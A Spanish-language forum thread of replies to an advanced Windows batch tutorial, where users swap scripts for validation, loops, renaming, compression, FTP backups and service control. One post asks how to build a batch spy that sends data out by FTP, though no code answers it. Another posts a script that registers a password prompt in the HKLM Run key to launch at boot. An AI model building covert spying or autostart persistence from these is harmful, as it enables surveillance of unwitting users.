Publicado por: Raquelcita en 15 Julio 2009, 17:44
Hola a todos. Soy nueva en este mundillo. A ver si alguien me ayuda...
Quiero parar la cola de impresiˇn, con un net stop spooler, pero de una mßquina que estß en red. ┐Cˇmo he decÝrselo?
Muchas gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Stati98 en 22 Julio 2009, 18:23
Gracias, siempre algo sirve, puedo saber un poquito de cada cosa, y esto me sirve muchisimo para aprender otro poquito mas.-


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dapark en 24 Agosto 2009, 00:17
esta muy bueno tu manual, muschas gracias, pero tengo una inquietud, e buscado la manera para poder validar q solo acepte numeros enteros, q no acepte ningun otro caracter.... pero se me dificulta porq soy algo nuevo en la programacion, nose si podrian ayudarme....


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 27 Agosto 2009, 04:46
Prueba algo como:
Código:
:isNumber
 set /p "number=Number: "
 if not defined number goto :isNumber
 set "variable=false"
 for /f "delims=abcdefghijklmnopqrstuvwxyz" %%a in ("%number%") do set "variable=true"
 if "%variable%"=="true" (
 echo Bien
 pause>nul
 exit /b 0
 ) else (
 echo Mal.
 goto :isNumber
 )

No filtra todo.

Idea provista por MATT.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dapark en 27 Agosto 2009, 06:00
Prueba algo como:
Código:
:isNumber
 set /p "number=Number: "
 if not defined number goto :isNumber
 set "variable=false"
 for /f "delims=abcdefghijklmnopqrstuvwxyz" %%a in ("%number%") do set "variable=true"
 if "%variable%"=="true" (
 echo Bien
 pause>nul
 exit /b 0
 ) else (
 echo Mal.
 goto :isNumber
 )

No filtra todo.

Idea provista por MATT.

Leo Muchisima gracias este me a serivido, con anterioridad habia realizado este:

Código:
@echo off
Title validacion de numeros
color A
set /a valor=%1

if not %errorlevel% == 0 goto endif


if not %valor%==0 goto else
cls
        echo Solo debe de ingresar numeros

goto endif

:else
cls
echo Valores aceptables

:endif

pero no logre adaptarlo a los batch que he estado realizando... el q tu me distes lo acople en un minuto a los programas muchas gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: fary en 30 Diciembre 2009, 23:13
Esta muy bien el tuto.

salu2!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dmx-anonimo en 31 Diciembre 2009, 17:42
disculpen tengo una duda se programar en batch l y todo eso pero no entiendo de que forma puedo  hacer  un espia en batch que se mande por internet  usando solo un ftp
en modo pasivo se puede crear obras de arte con batch osea programas  espias
buenos yo he hecho un par pero cuando lo mando no me llega nada y pruevo el batch en mi pc y anda  y usando un server ftp de mi pc no uno pago  pero qisiera ver algun codigo posteados de algun batch potente en modo espia yo tengo un par de ideas
pero me falta hacer que funque el envio  solo me falla eso..........saludos  ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dario2k8 en 5 Abril 2010, 09:08
íMuy Buen tutorial!
Aprovecho para abusar de la amabilidad de los expertos.
Tengo la siguiente duda, cuando defino un set var=(ruta y archivo)
ejemplo:
set var=c:\ventas\emp.dat
if exist %var% (goto dale) else goto falta
"esta sentencia acepta la ruta completa, por que no me resulta".

┐mi cˇdigo estß mal?
Citar
@echo off
cls
if exist c:\ventas\emp.dat (goto dale) else goto falta
:dale
cd\ventas
start /low /wait sispv.exe
goto FIN
:falta
cd\ventas
copy c:\ventas\emp c:\ventas\emp.dat
start /low /wait sispv.exe
goto fin
:fin
exit

Gracias, por la posible ayuda.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 5 Abril 2010, 16:17
Las rutas siempre trabajalas con dobles comillas.

Código:
set "var=c:\ventas\emp.dat"
if exist "%var%" (goto dale) else goto falta

T˙ cˇdigo no lo veo mal, mira, dÚjalo asÝ:

Código:
@echo off
cls
if exist "c:\ventas\emp.dat" (goto:dale) else (goto:falta)
:dale
cd \ventas
start /low /wait sispv.exe
goto FIN
:falta
cd \ventas
copy "c:\ventas\emp" "c:\ventas\emp.dat"
start /low /wait sispv.exe
:fin
exit

┐Te da un error en pantalla?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dario2k8 en 14 Abril 2010, 06:57

 ;-) Gracias Leo, por contestar mi consulta.... voy a probar ese cˇdigo. ;-)

┐Te da un error en pantalla? :rolleyes:
Te comento si me sale alguno.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Hanzo_lx en 29 Abril 2010, 21:00
HOla a todos, despues de encontrar este genial manual me gustaria a ver si vosotros veis el fallo porque me estoy volviendome loco

estaba haciendome un bat para renombrar unos archivos segun mis necesidades y me queda algo asi:

Código:
@echo off

echo             =========================================
echo             =                                                                                       =
echo             =             Renamer                                                             =
echo             =                                                                                       =
echo             =========================================




:data


set /p Historia=Escriba el numero de historia:

set /p Ojo=Escriba el tipo de ojo:

echo             =========================================
echo               Los datos son correctos?    
echo               Numero de historia: %Historia%      
echo               Tipo de ojo: %Ojo%      
echo             =========================================

set /p respuesta=1 es Si, 2 es NO:

if %respuesta% EQU 1 (goto :renombrar) else (goto :data)




:renombrar
set  contador=0


for /F "tokens=1,4*" %%i in ('dir') do (
                         set /a contador=%contador%+1

echo  %%j %%k %Historia%_%Ojo%_%contador%_%%i.txt)


pause

el tema es que debe renombrar los archivos con nombre de historia+tipo+contador de archivo+fecha de creacion de archivo

el contador lo inicializo a cero y en cada iteracion deberia aumentar en 1 pero siempre me saca 0 y no caigo en que estoy haciendo mal

la primera parte del echo es el nombre del archivo original para esa iteracion (%%j %%k) y la segunda parte(%Historia%_%Ojo%_%contador%_%%i.txt) como deberia quedar despues del renombrado

que os parece?

gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 7 Mayo 2010, 23:00
Dentro de los ciclos FOR, siempre debes de tratar las variables con los caracteres !!

Prueba asÝ:
Código
  1. @echo off
  2. setlocal enabledelayedexpansion
  3. echo             =========================================
  4. echo             =                                                                                       =
  5. echo             =             Renamer                                                             =
  6. echo             =                                                                                       =
  7. echo             =========================================
  8.  
  9.  
  10.  
  11.  
  12. :data
  13.  
  14.  
  15. set /p Historia=Escriba el numero de historia:
  16.  
  17. set /p Ojo=Escriba el tipo de ojo:
  18.  
  19. echo             =========================================
  20. echo               Los datos son correctos?    
  21. echo               Numero de historia: %Historia%      
  22. echo               Tipo de ojo: %Ojo%      
  23. echo             =========================================
  24.  
  25. set /p respuesta=1 es Si, 2 es NO:
  26.  
  27. if %respuesta% EQU 1 (goto :renombrar) else (goto :data)
  28.  
  29.  
  30.  
  31.  
  32. :renombrar
  33. set  contador=0
  34.  
  35.  
  36. for /F "tokens=1,4*" %%i in ('dir') do (
  37.                         set /a contador=!contador!+1
  38.  
  39. echo  %%j %%k !Historia!_% style="color: #448888;">Ojo%_!contador!_%% style="color: #448888;">i.txt
  40. )
  41.  
  42.  


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: robrey26604 en 31 Mayo 2010, 22:16
Tengo el siguiente cˇdigo para encontrar y borrar farchivos que no se pueden borrar porque quedaron enganchados
Cˇdigo:
Código
  1. @echo off
  2. echo Este programa borra archivos que no se dejan borrar porque
  3. echo quedaron enganchados,por ejemplo videos, etc.
  4. set /p archivo="Nombre del Archivo>>"
  5. rem Roberto Fernßndez Rey
  6. for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
  7. dir /b %%i:\ > nul 2>&1 && (
  8. for /f "tokens=*" %%_ in ('dir /b /s %%i:%archivo%') do (if exist %%_ (
  9. taskkill /f /im explorer.exe && (del /f /q "%%_") && (start explorer.exe)))))
  10. exit /b 0
  11.  
el cˇdigo busca el archivo y lo elimina pero sucede que no puedo quitar la flash de F: a no ser que le aplique manualmente taskkill al explorer.exe y despues start una vez mas.

que serß?

gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 31 Mayo 2010, 23:00
┐A quÚ te refieres con "enganchados"?

┐La flash?

┐Cˇmo?

Explicate mejor.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: robrey26604 en 1 Junio 2010, 14:31
Gracias Leo por tu tiempo y ayuda.

Me refiero a enganchado a que cuando tratÚ de liberar la flash para desconectarla de forma segura, me indicˇ que estaba un proceso en curso en ella y por eso no podia ser liberada y que tenia que ver con el explorer. Pienso que puede ser un problema de tiempo, que al aplicar taskkill y no dar un tiempo para eso puede provocar problemas, mi mßquina no es muy rßpida que digamos, esa es una idea mia pero no estoy seguro de este razonamiento. Cuando le di taskkill, manualmente y start al explorer (manualmente) el proceso terminˇ y pude sacar la flash. El video que queria borrar estaba en el disco duro y en la flash.

Gracias.

 





Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 11 Junio 2010, 20:58
Pueden ser muchas cosas, desde el explorador que estÚ usando la memoria, o simplemente te encuentres con CD o chdir en la memoria.

Coloca el cˇdigo.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 15 Julio 2010, 18:47
Hola que tal,

estaba revisando el post ya que estoy haciendo un batch para comprimir archivos con el 7zip d forma que me comprima cada documento en un archivo .7z separado, el caso es que tengo el problema que el nombre de archivo lo arrastra con la extension, si tengo:

documento.doc

le aplico el batch y queda

documendo.doc.7z

como puedo quitar el .doc del comprimido, para comprimir uso:

Código:
for %%a in (*.wad) do "%MYFILES%\7z.exe" a -t7z "%%a".7z "%%a" -mx9 -bd

vi que en un ejemplo pueden quitar lo ultimos 3 caracteres de una variable pero no me funciona, saben como podria hacerle ya sea en esa linea o despues de la ejecuciˇn del comando.

Tambien quisiera saber si es posible agregar un log de tiempo a cada archivo comprimido para que dentro de mi 7z tenga documento.doc y fecha.log, el .log creado al momento de la ejecuciˇn del .bat


De antemano gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 15 Julio 2010, 21:20
Intenta asÝ:

Código
  1. for %%a in (*.wad) do (
  2. "%MYFILES%\7z.exe" a -t7z "%%~na".7z "%%a" -mx9 -bd
  3. )


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 15 Julio 2010, 21:48
Muchas gracias Leo Gutierrez funciona a la perfecciˇn habia intentado ponerle el ~n pero lo hacia %%a~n por eso no quedaba.

Que buena soluciˇn

Saludos y buen dÝa


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 20 Julio 2010, 23:55
Ya entrando en mas detalles tengo una duda que me inquieta, es posible hacer un  barrido de letra por letra del nombre de un fichero algo asÝ como que de un archivo abcd.txt me indique las letras exisentes a b c d y pueda hacer un cambio similar a a=1, b=2 c=3 d=4 y luego renombrar automaticamente a 1234.txt o si el archivo se llama bcda.txt se renombre a 2341.txt

Saludos y gracias por la informaciˇn del post, ha sido realmente muy valiosa para automatizar algunas de mis tareas diarias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 21 Julio 2010, 01:25
Ya entrando en mas detalles tengo una duda que me inquieta, es posible hacer un  barrido de letra por letra del nombre de un fichero algo asÝ como que de un archivo abcd.txt me indique las letras exisentes a b c d y pueda hacer un cambio similar a a=1, b=2 c=3 d=4 y luego renombrar automaticamente a 1234.txt o si el archivo se llama bcda.txt se renombre a 2341.txt

Saludos y gracias por la informaciˇn del post, ha sido realmente muy valiosa para automatizar algunas de mis tareas diarias.

code.bat
Código
  1. @echo off
  2. setlocal enabledelayedexpansion
  3. rem Checar si el usuario usˇ bien el .bat
  4. if ["%1"]==[""] (
  5. echo Error con argumentos.
  6. exit /b 1
  7. )
  8. rem Checar si el archivo existe:
  9. if not exist "%1" (exit /b 1)
  10. set "word=%~n1";
  11. set "temp=%word%";
  12. rem Calcular la longitud de cadena y almacenarlo en una variable
  13. set /a contador=0
  14. :loop
  15. if not defined word (goto:end)
  16. set "word=%word:~1%";
  17. set /a contador+=1
  18. goto:loop
  19. :end
  20. set /a contador-=1
  21. set "final=";
  22. for /l %%_ in (0, 1, %contador%) do (
  23. call:alpha !temp:~% style="color: #448888;">%_, 1!
  24. set "final=!final!!alpha!";
  25. )
  26. ren "%1" "%final%.txt"
  27. goto:eof
  28. :alpha
  29. set /a contador=0
  30. for %%_ in (
  31. a b c d e f g h i j k l m n o p q r s t u v w x y z
  32. ) do (
  33. set /a contador+=1
  34. if "%1"=="%%_" (
  35. set "alpha=!contador!";
  36. )
  37. )
  38. goto:eof
  39.  


Código:
C:\>echo.> abcd.txt

C:\>dir /b *.txt
abcd.txt

C:\>code.bat abcd.txt

C:\>dir /b *.txt
1234.txt

C:\>


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 21 Julio 2010, 16:03
Realmente increible no pense que se pudiera hacer tanto con un batch, muchas gracias voy a examinar el codigo para enterderle, ajustarlo a mis necesidades e incluirlo en un script mas grande.

EDITO:

Fijate que no entiendo muy bien algunas partes

Aqui de una lista de numeros que va de 0 a la longitud de la cadena , entiendo que  por cada posiciˇn llama a la funcion alpha para que sustituya cada letra por el numero correspondiente

lo que no entiendo es el %%_ es solo una variable como podria ser %%a?
el llamado a la funcion por que se coloca entre "!" es para que unicamente pase 1 caracter a la funcion?
y set "final=!final!!alpha!"; suma caracter por caracter para formar al final la cadena ?

   for /l %%_ in (0, 1, %contador%) do (
      call:alpha !temp:~%%_, 1!
      set "final=!final!!alpha!";
   )

ya todo lo demas si me queda claro ya hice pruebas y todo va perfecto.

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 21 Julio 2010, 22:10
Citar
lo que no entiendo es el %%_ es solo una variable como podria ser %%a?
AsÝ es, pude haberle puesto %%# ˇ %%j, pero quise %%_, es solo cuestiˇn de gustos.
Citar
el llamado a la funcion por que se coloca entre "!" es para que unicamente pase 1 caracter a la funcion?
SÝ. Se manda el carßcter a la funciˇn y se hace el proceso de verificar quÚ posiciˇn ocupa en el alfabeto.

Citar
set "final=!final!!alpha!"; suma caracter por caracter para formar al final la cadena ?
SÝ, se suma o concatena.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 21 Julio 2010, 22:42
Gracias es que entre los %% y los !! me confundia pero ya todo esta mas claro, el programa que estoy haciendo ya va tomando forma.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sabrita en 23 Agosto 2010, 21:14
pââ la verdad yu no entiendo nada


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 24 Agosto 2010, 01:40
pââ la verdad yu no entiendo nada

┐pff?
┐yu?

┐QuÚ edad tienes, 10 a˝os?, aprende a escribir.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 15 Septiembre 2010, 07:30
hola que tal, aqui dando lata de nuevo

┐cˇmo puedo guardar un argumento?

en este caso una extenciˇn especifica

archivo.bat doc

significa que realizo un proceso con todos los .doc que encuentre en el directorio realizo bien las funciones al inicio con un

Código:
for %%a in ("*."%1) do (instrucciones)

pero mas adelante ejecuto una llamada a funcion pero no puedo utilizar el %1 ya que esta asignado al primer parametro de la funcion, entonces como puedo guardarlo en una variable para usarlo dentro de mi funcion

trate con

Código:
set %ext=%1
set %ext%=%1
set ext=%1

pero me deja la variable ext vacia, tambien intente con el set /a ext=%1 y sigue estando vacia o si no me pone ext

de antemano gracias



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 15 Septiembre 2010, 19:32
No te he entendido.

┐El argumento lo pasas desde el cmd.exe?

┐O de una etiqueta a otra?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 16 Septiembre 2010, 01:02
espera aunque despues de una cocacola ya pude pensarlo mejor  :xD , lo que pasa es que no estaba asignando bien la variable la debo asignar

debe quedar asÝ

Código:
set "ext=%1"

y luego en la linea donde ocupo la variable

Código:
ren "%~n1%~x1" "%temp%"."%ext%"

y asÝ ya puedo almacenar un argumento y usarlo dentro de una funcion


Muchas gracias por la atenciˇn y disculpa la molestia es que llevaba un par de dÝas dandole vueltas a esto y apenas se me prendiˇ el foco


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: astral_153 en 1 Octubre 2010, 01:47
Es posible crear un asistente de Actualizacion automatica desde Batch??
al igual que las actualizaciones automaticas de windows, este archivo deberia
descargar las actualizaciones o archivos de un servidor de internet y guardarlos en una carpeta pre determinada..

Nota: soy nuevo en batch..
Si alguien puede ayudarme con este codigo..
Gracias de antemanos..     ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 1 Octubre 2010, 02:33
SÝ, sÝ se puede descargar algo desde una web, pero no con comandos nativos de Windows.

Probablemente tengas que utilizar get.exe o wget.exe, o iopus file downloader.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: astral_153 en 2 Octubre 2010, 02:05
Whooo genial funciona perfectamente  ;-)
con el Wget.exe

Gracias  ;D   ;-)  ;-)  ;-)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Christianlej en 5 Noviembre 2010, 01:36
Hola me gustaria saber como cierro un programa "firefox.exe" en 1 minuto despues de haberlo habierto del mismo archivo bat: probe esto pero no me funciono. Y quiero que al abrir el programa con el bat se me cierre en 30 minutos automaticamente sin yo decirle nada.

@echo off
title Cerrar Programas/a
color 0b
mode con cols=80
mode con lines=6
:prog
cls
echo.
set /p variable2=firefox.exe (aqui pongo el programa que deseo cerrar)
:clock
echo.
set /p variable=0:34  (aqui introduzco la hora a la que quiero cerrar el programa)
if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
:1
taskkill /s 127.0.0.1 /f /im %variable2%
goto ok
:2
cls
echo.
echo.
if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
goto 2
:ok
cls
echo.
echo Programa cerrado!!
pause=1
goto prog


La ayuda sera muy valorada. Gracias!!  :huh:


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: P3NDULO en 8 Noviembre 2010, 21:39
buenas, yo estoy tratando, o mejor dicho pensando en hacer un .bat.. queee.
Pueda copiar de un equipo a otro, o mejor dicho, que desde mi maquina puedo hacer una copia a varios equipos al mismo tiempo.
inicie con esto pero me perdi jijiji, esto solo lo que hace es copiar un txt en una carpeta..
@echo off
@set/p maq= Ingrese nombre de maquina:
@set/p unidad= Ingrese Letra de unidad de destino:
cd C:\Documents and Settings\COELHOF\Escritorio\nueva
dir /ad /b /on > dir.txt
for /f %%e in (dir.txt) do set user=%%e & xcopy "C:\Documents and Settings\%%e\Escritorio" "%unidad%:\%maq%\%%e\Escritorio" /E /H /R /I /F /Y & xcopy "C:\Documents and Settings\%%e\Mis documentos" "%unidad%:\%maq%\%%e\Mis Documentos" /E /H /R /I /F /Y
@Pause>Nul

y tambien, creo que por hay ley, que tenfria que ponerle el usuario de administrador de la red =)... si me pueden ayudar....


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: luis_fonde en 28 Noviembre 2010, 17:46
alguien me puede ayudar a hacer esto:

A crear un script que entre tantos nombres como queramos por parÓmetro i que los muestre ordenados de menor a mayor.

gracias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 3 Diciembre 2010, 01:53
Muestra tus avances y yo te ayudo.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 8 Diciembre 2010, 23:48
Muy bueno lo del wget.exe ya le estoy hechando un ojo asÝ como para hacer una mini aplicaciˇn en batch y actualizarla via web.

Yo ya estoy agarrando mßs practica en estas cosas, con un compilador batch ya se puede hacer algo decente.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 9 Diciembre 2010, 18:14
Aqui otra vez dando lata,

Se me ha ocurrido hacer un reporte de archivos (si aquellos que alguna vez comprimÝ) y guardarlo en un TXT

Código:
   for %%a in (*.doc) do
   (
       set /a archivo = "%a"
       set /a contador = !contador! + 1
       echo !contador! !archivo! >>reporte.txt
       7z.exe a -t7z "%%~na".7z "%%~na".doc -mx9 -bd>nul
       REM otros comandos . . .
   )
 
En general es esta parte del codigo, genero un peque˝o medidor de porcentaje y en la parte:

Código:
  echo !contador! !archivo! >>reporte.txt

Me guarda en el archivo solo el n˙mero de contador asÝ, lo siguiente es las primeras letras del nombre hasta antes de un espacio

Código:
1
2
3
4
5

Trato de poner directo %~na pero no me queda en blanco ya que solo quiero poner el nombre del archivo sin extensiˇn.

si coloco set /a nombre = %~na me dice uso del operador no valido

Saludos




Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 10 Diciembre 2010, 02:04
Pon el cˇdigo con GeShi o eliminarÚ tu mensaje.

Las reglas estßn para algo.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 10 Diciembre 2010, 17:02
ya esta, pense que lo habia hecho pero por las prisas no le di visualizar

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 10 Diciembre 2010, 20:38
Ya encontre el fallo

debe quedar asÝ:

Código:
   for %%a in (*.doc) do
   (
       set /a contador = !contador! + 1
       echo !contador! %%~na >>reporte.txt
       7z.exe a -t7z "%%~na".7z "%%~na".doc -mx9 -bd>nul
       REM otros comandos . . .
   )

Queria almacenarlo en una variable, pero al parecer va mejor directo.

Estoy trabajando en enviar el reporte por correo electronico, apenas termine las pruebas pongo el dato por si a alguien le sirve.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: xassiz~ en 10 Diciembre 2010, 21:25
No es que vaya peor, es que te comiste un porcentaje:
Código
  1.   for %%a in (*.doc) do
  2.   (
  3.       set /a archivo = "%a"
  4.       set /a contador = !contador! + 1
  5.       echo !contador! !archivo! >>reporte.txt
  6.       7z.exe a -t7z "%%~na".7z "%%~na".doc -mx9 -bd>nul
  7.       REM otros comandos . . .
  8.   )
  9.  


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 10 Diciembre 2010, 23:35
Si me equivoque en la sentencia pero con:

Código:
set file=%%~na

puedo asignar el nombre de un archivo a la variable file utilizando doble porcentaje, y para guardarlo en un txt solo le puse

Código:
   echo !contador! : !file! >>reporte.txt

asi le pongo un contador y el nombre del archivo y los voy guardando :D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: FJPPitta en 14 Diciembre 2010, 21:20
Tengo una duda, de una lista de archivos es posible cuyos nombres en ocasiones se incluyen caracteres como un ! e posible localizar dichos archivos y renombrarlos cambiando el ! por un espacio o cualquier otra cosa?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: xassiz~ en 14 Diciembre 2010, 22:05
Código
  1. @echo off
  2.  
  3. set "archivo=test!.txt"
  4.  
  5. set/a contador=0
  6.  
  7. :loop
  8. call set letra=%%archivo:~%contador%,1%%
  9. if "%letra%"=="!" (set boolean=true)
  10. set/a contador+=1
  11. if defined letra (goto:loop)
  12.  
  13. if "%boolean%"=="true" (echo:rename %archivo% %archivo:!=%) else (echo:No tiene !)
  14.  
::)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Edo_Degauss en 3 Enero 2011, 20:14
Saludos a todo tengo una duda en cuanto a programacion en BATCH

resulta que tengo que hacer una rutina que la tengo lista pero no se como terminar lo ultimo que me queda.

La 1era parte consiste en que el batch hace un BACK UP de la base de datos y me la comprime ..

La 2da parte la sube a un FTP

Pero necesito que todo esto se haga en uno solo , osea termina de comprimir el Backup y lo empieze a subir al FTP

el problema que tengo es que despues de que hace el back up y empieza a comprimir se ejecuta y empieza a subirse, por ende error por que todavia no termina la compresion y se ejecuta la uplodeada..

el codigo que tengo es este


back up - rar

set FECHA= %date%
set FECHA=%FECHA:/=%

SQLCMD -SEDO\SQL2K8CS -E -i"C:\Users\---\Desktop\backup.sql" >> "C:\logs\Backup%FECHA%.log"

Start winrar a -dr -ep1 "BK.rar" C:\test\*.*


Sube al FTP

set FECHA= %date%
set FECHA=%FECHA:/=%

ftp -s:batch-ftp.txt ftp.acquire.com.au >>  "C:\logs\details_upload%FECHA%.log"

cd C:\Documents and Settings\ecabello\Desktop
del "BK.rar"


habia intentado hacerlo todo desde un BAT y consegui esto

call c:\Users\--\Desktop\backup.bat



:start
PING -a 127.0.0.1 >nul

:batch2
call c:\Users\--\Desktop\batch.bat


if exist "C:\test\BK.bak"

(GOTO start)

if not exist "C:\test\BK.bak"

(GOTO batch2)


Pero todavia no termina el rar y ya se ejecuta para subirlo..

mis preguntas son

Hay alguna forma de que se detecte cuando termine el rar?
o de como solucionaro..

Agradeceria mucho su ayuda desde ya..

gracias de antemano








Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Germaniac en 4 Enero 2011, 06:11
Intenta usando Start con el parametro /wait
Cambia
Código:
Start winrar a -dr -ep1 "BK.rar" C:\test\*.*
por
Código:
Start /wait winrar a -dr -ep1 "BK.rar" C:\test\*.*



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: aaronezpino en 3 Febrero 2011, 20:07
Hola

Necesito programar un archivo bat que me haga lo sig...
Preguntar una cadena de hora (cuatro digitos, formato HHMM ) , una vez hecho esto, que renombre "archivo1" a "nombre1HHMM", "archivo2 " a "nombre2HHMM".

UsÚ el sig cˇdigo...

Código
  1. @echo off
  2. set /p HHMM = Escribe la hora formato HHMM
  3. ren C:\archivo1.png %nombre1HHMM%.png


ya lo intentÚ con los sig cambios en el renglˇn 3.
Código:
%nombre1HHMM%.png
nombre1HHMM.png
nombre1%HHMM%.png
%nombre1HHMM.png%

y no funciona.

┐Alguien sabe como le puedo hacer?

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 3 Febrero 2011, 21:19
Primero debes decirnos de donde sacaremos los archivos "archivo1", "archivo2", etc.

┐Los da el usuario con set /p, los cogemos del directorio actual, o simplemente estßn seteados en el
cˇdigo?

Otra cosa, los cˇdigo deben ir con su correspondiente etiqueta, de no ser asÝ tu mensaje serß eliminado.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: DameBanda en 27 Febrero 2011, 12:37
Hola TxShack

La respuesta a porque no fnciona es facil:
Porque si te fijas en tu code pones
Código:
if %clave%==fark (goto bien) else goto :menu
me parece que para que funcionase bastarÝa con quitarle los 2 puntos a :menu y meterlo entre parÚntesis. Para que hagas copy-paste te dejo el code de forma que funcione.
Lo que no tengo ni idea es de si se puede bloquear la X...

Código:
@echo off
cd c:\
echo @echo off > pass.bat
echo :menu >> pass.bat
echo echo. >> pass.bat
echo INTRODUCIR CLAVE >> pass.bat
echo echo. >> pass.bat
echo set /p clave= >> pass.bat
echo if %clave%==fark (goto bien) else goto :menu >> pass.bat
echo :bien >> pass.bat
echo cls >> pass.bat
echo echo. >> pass.bat
echo echo ACCESO VALIDADO >> pass.bat
echo echo. >> pass.bat
echo pause >> pass.bat
echo exit >> pass.bat
reg add HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run /v pass /d C:\pass.bat
start c:\pass.bat
exit

Creo que asÝ te funcionarÝa aunque seria mejor crear 2 archivos puesto que al introducir ciertos caracteres en un batch manda error...  :-\


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 27 Febrero 2011, 17:46
Los puntos no afectan, lo que afecta es el uso o no de los parÚntesis, usenlos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: TheInfinityJoker en 19 Marzo 2011, 12:10
Buenisimo!!
Serß un post comenzado hace mucho, pero es muy bueno.
Gracias men!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: imillan en 17 Mayo 2011, 16:44
Buenisimo!!
Serß un post comenzado hace mucho, pero es muy bueno.
Gracias men!

La verdad es que si llevo una hora buscando una soluciˇn a mi tema, que no he encontrado, seguro que esta por alg˙n sitio, pero hay tantas cosas interesantes que no puedo pasar de la pagina actual.

Bueno hay va mi pregunta.


ME gustarÝa saber como hacer para levantar un servicio tirado pero solo cuando lo estuviera.

Hacer algo asÝ, pero no se como

IF NET STATUS "Jusan Server" <> 'running' THEN NET START "Jusan Server"




Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 18 Mayo 2011, 04:51
Es facil, solo habrÝa que ver quÚ herramienta te devuelve la lista de procesos activos.

Creo que se puede con WMIC.

Código:
wmic service list brief

Peganos la salida del comando, luego dinos cual proceso deberÝa de aparecer.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 18 Mayo 2011, 05:15
Estaba viendo esto :P
Código
  1. for /f "tokens=*" %%a in ('sc query webclient | find /i /c "running"') do (
  2. IF %%a EQU 0 (sc start webclient))

He puesto webclient como ejemplo.

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: dieboxxxx en 27 Agosto 2011, 21:03
Soy nuevo en el foro y me disculpan si violo alguna regla, pero la verdad necesito con urgencia que me ayuden con ese cˇdigo; necesito borrar un archivo que contenga una cadena de texto especÝfica; ejemplo, borrar archivos .ini que contengan la palabra "MusicAlbum" en todo el disco duro, muchas gracias por su ayuda.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 27 Agosto 2011, 21:13
